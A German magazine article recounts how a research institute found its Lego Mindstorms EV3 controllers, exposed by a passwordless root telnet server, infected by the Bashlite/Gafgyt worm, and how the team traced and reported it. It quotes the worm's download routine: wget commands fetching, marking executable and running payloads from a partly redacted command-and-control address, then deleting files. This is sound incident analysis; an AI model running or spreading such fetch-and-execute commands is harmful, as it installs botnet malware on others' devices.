Analysiert: Lego Mindstorms für Cyber-Angriffe missbraucht

In einer deutschen Forschungseinrichtung arbeiten auch Lego-Roboter im Dienste der Wissenschaft. Eines Tages entwickelten diese jedoch ein gefährliches Eigenleben.

In Pocket speichern vorlesen Druckansicht
Aufstand der Roboter
Lesezeit: 5 Min.
Von
  • Imanuel von Cube

Auf dem Steuercomputer Lego Mindstorms EV3 läuft ein ungeschützter Telnet-Server mit root-Nutzer.

(Bild: Lego)

Ende September warnte uns unser Provider, dass aus dem Netz unserer Forschungseinrichtung ein Portscan durchgeführt wurde. Auf der Suche nach dem Verursacher stellte sich zu unserer Verwunderung heraus, dass die angegebenen IP-Adressen nicht zu einem Arbeitsplatzrechner gehörten, sondern zu den Steuereinheiten des Robotik-Baukastens Lego Mindstorms EV3, die wir für diverse Projekte einsetzen. Darin steckt ein ARM-9-Prozessor mit 300 MHz, der ein Embedded Linux antreibt. Ihm stehen 64 MByte RAM zur Seite.

Die EV3-Steuerungen hatten wir mit WLAN-Sticks in unser Netz gehängt. Als Sofortmaßnahme haben wir die Verdächtigen in der Firewall gesperrt, woraufhin die Attacken erwartungsgemäß verstummten. Um der Sache auf den Grund zu gehen, richteten wir ein MacBook über die Internetfreigabe als Accesspoint ein und verbanden die EV3-Steuerungen damit.

Die Mindstorms-Steuerung scannt agressiv auf dem Telnet-Port 23.

Auf dem MacBook konnten wir mit Wireshark nun den Traffic der aufständischen Roboter unter die Lupe nehmen. Die Geräte scannten tatsächlich große IP-Adressbereiche auf Port 23, dem Standardport für Telnet. Da wir ausschließen konnten, dass diese Scans von unserem Code verursacht wurden, mussten wir ab diesem Zeitpunkt davon ausgehen, dass die Steuercomputer des dänischen Spielzeugherstellers mit einem Schädling befallen sind.

Eine kurze Recherche ergab, dass es sich wahrscheinlich um den Telnet-Wurm Bashlite handelt. Er scannt das Netzwerk nach Telnet-Servern und versucht sich dort auch mit Standardpasswörtern anzumelden. Anschließend infiziert er die Systeme und macht sie zu gefügigen Bots, die auf Zuruf DDoS-Attacken ausführen.

Auf diese Weise hatte sich der Schädling offenbar auch in die EV3-Steuerungen eingenistet: Es zeigte sich, dass auf den Geräten ein Telnet-Server läuft, an dem man sich als "root" anmelden kann – ganz ohne Passwort:

Zusätzlich fanden wir auf den Systemen noch einen SSH-Server, den der Virus jedoch selbst installiert hatte.

Eine detailliertere forensische Untersuchung war erst mal nicht möglich, da der Schädling nur im RAM der EV3-Steuerungen residierte und wir die Geräte zwischenzeitlich neu gestartet hatten. Unsere Netzwerkprotokolle zeigten, dass diverse IP-Adressen von außen versuchten, eines ehemals infizierten Steuerungens-Systeme zu erreichen. Um den Fall weiter untersuchen zu können, ließen wir die Kontaktversuche zu, worauf die Lego-Hardware erneut infiziert wurde.

Nachdem wir per Wireshark die Infektion live miterlebt hatten, zeigte der Befehl "ps" einen ungewöhnlichen Prozess namens "co5", der auch für die sofort beginnenden massiven Scans nach neuen Opfern verantwortlich war. Unter dessen PID "xxyy" konnten wir dann in /proc/xxyy/exe tatsächlich ein Binary des aktiven Schädlings finden und auf eine microSD-Karte kopieren.

Virustotal.com bestätigte unsere Vermutung, dass es sich um den Schädling Bashlite/Gafgyt handelt. Weitere Details lieferte uns der Befehl "strings"; etwa den potenziellen Namen des Programmierers in einer Pfadangabe: "/home/landley/work/ab7/build". So kamen wir auch der Download-Routine auf die Schliche, die ein Shell-Skript namens c.sh nachlädt:

cd /tmp; rm -rf c.sh; wget http://93.174.xxx.yyy/c.sh; 

Die Datei c.sh versucht erst, schon vorhandene Instanzen des Virus zu killen und startet dann weitere wget-Aufrufe, die die Dateien co1 bis co17 von 93.174.xxx.yyy herunterladen. Diese flaggt das Skript anschließend als ausführbar (executable), ehe sie schließlich gestartet und vom Speichermedium gelöscht werden:

cd /tmp && wget -q http://93.174.xxx.yyy/co1 && chmod +x co1 && ./co1 
...
cd /tmp && wget -q http://93.174.xxx.yyy/co1 && chmod +x co1 && ./co17
rm -rf *

Leider hatten wir nicht die nötigen Ressourcen, um uns die Downloads co1 bis co17 en Detail anzusehen. Wir lokalisierten jedoch den Command-and-Control-Server und benachrichtigen den Abuse-Kontakt des Hosters. Der wies jede Verantwortung für den Inhalt des Servers von sich. Inzwischen sind immerhin dort die Dateien nicht mehr zu finden.

Anschließend konfrontierten wir Lego mit unseren Beobachtungen. Nachdem wir mehrfach nachgehakt hatten, gestand das Unternehmen via Mail ein, dass die EV3-Steuerungen nicht direkt gegen Angriffe von außen geschützt und somit angreifbar sind. Dies erfordere jedoch eine "digitale Verbindung zu anderen Geräten" – wie eben jenen WLAN-Stick, den wir mit dem USB-Host-Anschluss der EV3 verbunden hatten. In einer weiteren Mail erklärte ein Entwicklungsleiter, dass man derzeit untersuche, wie man das Problem am besten lösen könne. Danach hat sich der dänische Spielzeughersteller nicht mehr bei uns gemeldet.

Das Internet Of Things (IoT) und die fortschreitende Anbindung von allen möglichen Dingen an das Internet stellt eine neue Bedrohungslage dar. Obwohl in diesem Falle wahrscheinlich kein großer Schaden angerichtet wurde, hatten Fremde root-Zugriff auf Rechner im Netz eines Hightech-Forschungsinstituts. Wer eine EV3-Steuerung betreibt, sollte tunlichst darauf achten, dass die Netzwerkkonfiguration keine Zugriffe von außen durchlässt. (rei)